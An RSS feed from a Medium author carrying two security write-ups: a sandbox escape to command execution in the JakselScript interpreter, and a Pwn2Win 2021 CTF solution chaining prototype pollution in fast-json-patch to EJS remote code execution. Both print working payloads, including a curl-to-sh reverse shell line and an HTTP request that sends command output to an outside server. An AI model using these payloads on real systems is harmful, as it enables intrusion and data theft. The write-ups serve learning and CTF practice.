<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ammar Alifian Fahdan on Medium]]></title>
        <description><![CDATA[Stories by Ammar Alifian Fahdan on Medium]]></description>
        <link>https://medium.com/@kerupuksambel?source=rss-4ecc2c0d4a6f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*8ukkZE1D9G8IzSHA</url>
            <title>Stories by Ammar Alifian Fahdan on Medium</title>
            <link>https://medium.com/@kerupuksambel?source=rss-4ecc2c0d4a6f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 05:56:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kerupuksambel/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[JakselScript Hacking (karena kenapa tidak)]]></title>
            <link>https://kerupuksambel.medium.com/jakselscript-hacking-karena-kenapa-tidak-83073dd7ba54?source=rss-4ecc2c0d4a6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/83073dd7ba54</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Ammar Alifian Fahdan]]></dc:creator>
            <pubDate>Sun, 16 Oct 2022 23:47:15 GMT</pubDate>
            <atom:updated>2022-10-16T23:47:15.243Z</atom:updated>
            <content:encoded><![CDATA[<p>JakselScript (<a href="https://github.com/RioChndr/jaksel-language">https://github.com/RioChndr/jaksel-language</a>) adalah bahasa pemrograman yang sedang viral akhir-akhir ini, utamanya karena syntaxnya yang sangat “Jakselian” sekali, lengkap dengan <em>staple</em> <em>keyword</em> bahasa campur-campurnya, dan masih bisa membentuk bahasa pemrograman yang cukup mumpuni dengan fitur-fitur yang ada di bahasa pemrograman modern (seperti try-catch-finally dan await).</p><p>Melihat bahasa yang lagi viral dengan fungsionalitas yang bagus ini, mendadak terpikir suatu hal iseng di benak saya, yaitu <strong>“Is it possible to hack this?” </strong>atau secara lebih mendetil <strong>“Is it possible to do an abritrary command execution on the interpreter machine?&quot;</strong></p><p><strong>DISCLAIMER : Artikel ini hanya bertujuan untuk keperluan edukasi <em>and for fun only. </em>Tidak ada niatan buruk untuk menyerang pihak manapun.</strong></p><h3>Reconnaissance</h3><p>Recon paling sederhana bisa dilihat pada struktur file dari interpreter JakselScript di GitHubnya :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzLuDtQr5EM2Yi57vQ8IVA.png" /><figcaption>Struktur file dari interpreter JakselScript</figcaption></figure><p>Bisa dilihat, JakselScript dibangun dengan NodeJS, melihat dari Languagesnya yang terdiri dari 100% JavaScript, interpreter yang berekstensi *.js, keberadaan package.json, dan <em>running </em>yang menggunakan NPM.</p><p>Lalu, dengan coba mengulik logika <em>parser</em> yang digunakan, kita bisa sedikit melihat logika apa yang digunakan oleh JakselScript dalam melakukan interpretasi kode JakselScript ke JS. Sebagai contoh, berikut kode yang digunakan untuk interpretasi logika if dari JakselScript ke JS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HP-JbvhfAM9xEHWcOHN1jg.png" /><figcaption>Parser logika if di JakselScript</figcaption></figure><p>Bisa dilihat, interpreter akan mencari baris dengan format <strong>kalo (variabel) (operator) (nilai), </strong>lalu mengambil value-value yang dibutuhkan, dan memprosesnya ke JavaScript.</p><p><em>Oh kalau gitu tinggal lakukan inject code di if-nya dong?</em></p><p>Sayang tidak segampang itu…</p><h3>Code Injection</h3><p>Awalnya, saya berpikir untuk langsung melakukan injeksi code seperti</p><pre>kalo eval(&quot;return 2*3&quot;) itu 6</pre><p>Dan langsung jalankan kodenya, tapi tepat sebelum saya mulai memulai interpretasi, saya melihat ada yang aneh pada Regex yang digunakan…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YhzrSzfFgKZQrf-mREiDQ.png" /><figcaption>Penjelasan Regex yang digunakan oleh parser if</figcaption></figure><p>Perhatikan bahwa dari ketiga <em>capture group</em>, tidak ada yang cukup memadai untuk dijadikan vektor <em>code injection </em>kita.</p><ul><li><em>Capturing group</em> pertama<strong> hanya menerima karakter alfanumerik.</strong></li><li><em>Capturing group </em>kedua <strong>hanya menerima karakter alfabet.</strong></li><li><em>Capturing group</em> ketiga memiliki batasan yang lebih ringan, yaitu <strong>tidak boleh memiliki kurung siku [ ] dan kurung biasa ( ). </strong>Namun tetap kurang memadai karena pemanggilan fungsi sering sekali menggunakan kurung biasa, apalagi dengan fungsi yang memiliki parameter.</li></ul><p>Ada dua <em>approach </em>yang bisa digunakan, yaitu memanipulasi <em>payload </em>agar tidak memerlukan kurung biasa, atau mencari vektor serangan lain. Setelah mencari-cari cara untuk melakukan manipulasi <em>payload</em> tanpa hasil yang memuaskan, saya mencoba cara kedua, yaitu mencari vektor serangan yang lebih memadai untuk <em>code injection</em> kita.</p><p>Dengan menyadari bahwa Regex yang digunakan menggunakan format let format = &lt;insert Regex here&gt;, dengan menggunakan grep, saya mencoba mencari vektor serangan yang lebih baik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*Z0YcJRReGKRvaiE41O_jYQ.png" /><figcaption>Hasil pencarian format</figcaption></figure><p>Melihat hasil yang digunakan, fokus saya terarah pada format dari <strong>consoleLog.js</strong>. Dengan format yang bisa menerima semuanya <strong>(.*)</strong>, saya mencoba melakukan injeksi dengan memanfaatkan console.log.</p><pre>spill eval(3**4)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*obHOWgal50K7oCyq8q5A1Q.png" /></figure><p><em>It works!</em></p><p><em>“Oke, code injection sudah bisa, sekarang bikin code execution pasti mudah kan? Cukup require aja kan?”</em></p><p><em>Ummm… About that…</em></p><h3>The Journey to RCE</h3><h4>The Obstacle</h4><p>Tentu saja yang langsung terpikir di benak saya adalah langsung menggunakan require(“child_process”), layaknya yang dilakukan di banyak writeup — baik di bug hunting maupun CTF, dan ternyata…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*wil_KEZtZBeGFY6phIvZtA.png" /><figcaption>Uh oh</figcaption></figure><p>require() tidak bisa dipakai sahabat…</p><p>Ternyata setelah analisis pada interpreter dan fungsi yang dipakai untuk mengeksekusi kode JavaScript yang digunakan, kode dieksekusi di dalam VM (<strong>require(“vm”)</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*tKOBn3cjo9gSrnF4lCEwqQ.png" /><figcaption>Snippet dari execCmd, kode untuk mengeksekusi JavaScript</figcaption></figure><p>Berdasarkan dokumentasi dari Node, <em>runInThisContext </em>akan menjalankan kode dalam konteks global secara terbatas, sehingga ada beberapa fungsionalitas yang tidak ikut diimpor bersamaan dengan kode, sebagai contoh <em>require.</em></p><h4>First Clue</h4><p>Menyadari pembatasan yang dilakukan oleh VM, saya menyadari bahwa kita hanya bisa menggunakan <em>properties</em> yang kita miliki. Lalu, saya mencoba menganalisis <em>properties </em>yang dimiliki kode saat dijalankan. Referensi yang cukup bagus saya temukan disini <a href="https://stackoverflow.com/a/31173593">https://stackoverflow.com/a/31173593</a>.</p><p>Dengan menggunakan <em>getOwnPropertyNames, </em>saya bisa mendapatkan beberapa modul yang diimpor oleh VM dan bisa kita gunakan.</p><pre>spill Object.getOwnPropertyNames(this)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*SxuIoG01iMwkH8EBjKbsTA.png" /></figure><p>Bisa dilihat ada beberapa modul yang bisa digunakan. Namun, dua modul yang saya coba adalah <strong>WebAssembly</strong> dan <strong>process</strong></p><h4>Process</h4><p>Setelah mencoba WebAssembly dan <em>stuck</em> karena kesulitan pada proses kompilasi dan memasukkan <em>binary </em>dari WA ke payload, pilihan kedua saya adalah dengan modul <strong>process. </strong>Sejujurnya tidak ada alasan mendasar kenapa saya memilih modul ini, namun dengan namanya, saya menduga ada kesamaan dengan modul <em>child_process </em>yang disinggung diatas.</p><p>Setelah melakukan sedikit riset mengenai eskalasi modul <em>process </em>ke RCE, saya menemukan artikel <em>writeup</em> yang sangat bagus dan relevan dengan problem ini, yaitu di <a href="https://jwlss.pw/mathjs/">https://jwlss.pw/mathjs/</a>. Singkatnya, <em>author </em>dari artikel tersebut juga menemui skenario yang sama dengan masalah di JakselScript ini; RCE tanpa menggunakan require(), namun modul <em>process</em> masih bisa diakses. Pendekatan yang dilakukan <em>author </em>tersebut adalah dengan “membuat” sendiri fungsi spawnSync yang seharusnya ada di child_process, namun ternyata cukup menggunakan process.binding(&#39;spawn_sync&#39;) .</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4847f41e63e06a2355d00467b803dfb2/href">https://medium.com/media/4847f41e63e06a2355d00467b803dfb2/href</a></iframe><p>Dengan sedikit penyesuaian (karena kita menggunakan console.log() dan satu pemanggilan console.log() hanya bisa mengeksekusi satu line saja), kita bisa melakukan pemanggilan fungsi spawnSync.</p><pre>spill spawn_sync = process.binding(&#39;spawn_sync&#39;)</pre><pre>spill normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&amp;&amp;(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(&#39; &#39;);typeof a.shell===&#39;string&#39;?c=a.shell:c=&#39;/bin/sh&#39;,b=[&#39;-c&#39;,g];}typeof a.argv0===&#39;string&#39;?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+&#39;=&#39;+d[f]);return{file:c,args:b,options:a,envPairs:e};}</pre><pre>spill spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:&#39;pipe&#39;,readable:!0,writable:!1},{type:&#39;pipe&#39;,readable:!1,writable:!0},{type:&#39;pipe&#39;,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c&lt;a.stdio.length;c++){var e=a.stdio[c]&amp;&amp;a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&amp;&amp;a.encoding&amp;&amp;a.encoding!==&#39;buffer&#39;)for(c=0;c&lt;b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&amp;&amp;b.output[1],b.stderr=b.output&amp;&amp;b.output[2],b.error&amp;&amp;(b.error= b.error + &#39;spawnSync &#39;+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}</pre><pre>spill spawnSync(&quot;/usr/bin/whoami&quot;).output[1].toString()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ON_BU6LvnHNVeLbuq41kbg.png" /><figcaption>whoami berhasil! (User yang sedang login (kerupuksambel) tercetak)</figcaption></figure><p>Yay!</p><h3>Impact (??)</h3><p>Well… Sebenarnya tidak ada <em>impact </em>berarti disini, mengingat kecil kemungkinan suatu <em>enterprise </em>(atau bahkan individu) yang membuat program komersil yang <em>fully-written in </em>JakselScript.</p><p><em>Kalo ga ada impactnya kenapa repot-repot nulis anjir?</em></p><p>Iseng :p</p><p>Bercanda, <em>but</em> <em>in a serious note, </em>ada kemungkinan trik yang ada di <em>writeup </em>ini bisa digunakan di skenario lain, entah di CTF atau di <em>bug hunting, </em>dimana misalnya, ada fungsi eval yang bisa menjalankan eval perintah sederhana namun tidak bisa dieskalasi ke RCE atau LFI karena perintah dijalankan di VM atau fungsionalitas require() dihilangkan.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83073dd7ba54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwn2Win 2021 CTF Writeup — Illusion]]></title>
            <link>https://kerupuksambel.medium.com/pwn2win-2021-ctf-writeup-illusion-88f6c7737de3?source=rss-4ecc2c0d4a6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/88f6c7737de3</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[prototype-pollution]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ammar Alifian Fahdan]]></dc:creator>
            <pubDate>Mon, 31 May 2021 16:32:12 GMT</pubDate>
            <atom:updated>2021-05-31T16:32:12.044Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pwn2Win 2021 CTF Writeup — Illusion</h3><p>I played Pwn2Win CTF few days ago, and unfortunately I only solved one challenge (apart from the welcome flag). But I wanted to write the writeup for the challenge because it really gives me some important lesson about how to solve the challenge and how different it is to debug directly from your machine and from Docker container.</p><p>This challenge (as by May 31 2021) still could be accessed via <a href="http://illusion.pwn2win.party:12752/">nc illusion.pwn2win.party 1337</a> (You need to solve the hashcash PoW to get the instance and creditential). The source code provided could be downloaded <a href="https://drive.google.com/file/d/1ufAatmkZsN8aSt-l--CHvZLGTiKbSEKu/view?usp=drivesdk">here</a> (official mirror of Pwn2Win).</p><h3>Recon</h3><p>In this challenge, I was given the source codes, complete with the Dockerfile. I was a bit clueless at the Dockerfile, so I just skimmed over the detail and more focused on the <em>composer.json</em> and the <em>index.js </em>(the main source code).</p><p>Right off the bat, I noticed something a bit peculiar. The Dockerfile placed its flag in <em>/root/flag.txt</em>, therefore it’s supposed to be impossible to just read the flag directly. Fortunately, they also provided a binary named <em>readflag </em>to read the flag, so I implied that the intended vulnerability is <strong>RCE (Remote Code Execution).</strong></p><p>Then, I examined the composer.json. There are some unique libraries that were included, such as <a href="https://www.npmjs.com/package/fast-json-patch">fast-json-patch</a> and <a href="https://www.npmjs.com/package/express-basic-auth">express-basic-auth</a>. While express-basic-auth only used for authentication purpose in the website, the fast-json-patch here is pretty interesting, because it modified the data inside the <em>index.js</em>.</p><h3>Vulnerability</h3><h4>Prototype Pollution</h4><p>Suspecting the fast-json-patch library, I looked for its vulnerability. I found <a href="https://www.huntr.dev/bounties/1-npm-fast-json-patch/">this huntr link</a> that refers to <a href="https://github.com/Starcounter-Jack/JSON-Patch/issues/216">this prototype pollution issue</a>. (Un)fortunately, the issue has been patched and the version used in the challenge also has been patched. But, when I see the issue page, I found that <a href="https://github.com/418sec/huntr/pull/768">there is a way</a> to exploit the issue in different way.</p><p>To recap the bug, using the patch like this :</p><pre>{op: &quot;replace&quot;, path: &quot;/constructor/prototype/polluted&quot;, value: &quot;Yes! Its Polluted&quot;}</pre><p>would make the prototype of the object polluted.</p><h4>Prototype Pollution to RCE</h4><p>Okay, so we could pollute the prototype for the <em>services</em> object. But how we could elevate the bug even further?</p><p>Let’s dive inside the template file. The template used are based on EJS (Embedded Javascript). In EJS, there is a property named <em>outputFunctionName</em> that could be used to execute arbitrary code. By default, we don’t have that property, but here’s when the prototype pollution come in handy.</p><p>With the help from <a href="https://xz.aliyun.com/t/7025">this post</a>, I could craft the post data like :</p><pre>{&quot;constructor/prototype/outputFunctionName&quot;:&quot;_tmp1;global.process.mainModule.require(&#39;child_process&#39;).exec(&#39;curl <a href="https://reverse-shell.sh/104.236.234.197:6969">https://reverse-shell.sh/[My Server IP]:6969</a> | sh&#39;);var __tmp2&quot;}</pre><p>I tested it on my local machine and it works, so it should works in the actual challenge machine, right?</p><h3>Execution</h3><p>Not that easy!</p><p>I forgot that the challenge hosted in a <strong>Docker container</strong>. Therefore I spent quite some times debugging my exploit with the wrong assumption that my machine is as the same as the container.</p><p>After some times, I investigate the Dockerfile again, only this time I found some crucial information :</p><ul><li>I was logged in as <strong>guest</strong> instead of root, therefore I couldn’t write file in the readable directory.</li><li>I just noticed that because the image used is <strong>node:alpine</strong>, the container don’t even have program like curl or wget to do a request to outside world, therefore it’s hard to do a request in the shell alone.</li></ul><p>To confirm the limitation, I deployed the Dockerfile in my VPS. I also spent some times to find out how to deploy the image into a container since I have little experience with Docker. And yes, the limitation exists since I can’t write anything.</p><p>Given those constraints, I need to get creative. Since it’s really hard to smuggle the request in the shell, I tried to sent the request with http module in Node. So here’s my strategy :</p><ul><li>Import the HTTP module</li><li>Execute the program with child_process.execSync()</li><li>Encode the output into base64, since somehow it can’t handle the regular string</li><li>Make a request, with the output as the value of a header.</li><li>Send the request to my mock server.</li></ul><p>Here’s my payload to send.</p><pre>{&quot;constructor/prototype/outputFunctionName&quot;:&quot;_tmp1;console.log(global.process.mainModule.require(&#39;http&#39;).get(&#39;<a href="http://rinrin.free.beeceptor.com&/#39;">http://rinrin.free.beeceptor.com&#39;</a>, {headers: {&#39;User-Agent&#39;:global.process.mainModule.require(&#39;child_process&#39;).execSync(&#39;./readflag&#39;).toString(&#39;base64&#39;)}}));var __tmp2&quot;}</pre><p>So, first I call http.get() to make a request to my mock server at Beeceptor, then I put the output of my command in a header (in this case, User-Agent), and then encode it with base64. Finally, execute that request and retrieve the output in the mock server and decode it.</p><p>Long story short, I got the output and decode it, and finally got the flag.</p><h3>Flag</h3><pre>CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}</pre><h3>Conclusion</h3><p>The beauty of CTF is that even if it’s only a challenge, you could learn a lot from it. The one thing I learned the most is that I should examine the Dockerfile before trying to debug the code. I spent almost 3 hours alone scratching my head just because the code work flawlessly in my local, but didn’t work in the challenge.</p><p>And also, the limitation of the base image is also pretty tricky if you aren’t careful. The image used, as I mentioned earlier, is <strong>node:alpine</strong>, a minimal Docker image for Node. Therefore, it’s understandable that they didn’t include curl and wget in the image.</p><p>This is my first post in Medium since I usually posted my writeup in my <a href="http://github.com/kerupuksambel/ctf-writeup/">Github</a>. Thanks for reading my post!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88f6c7737de3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>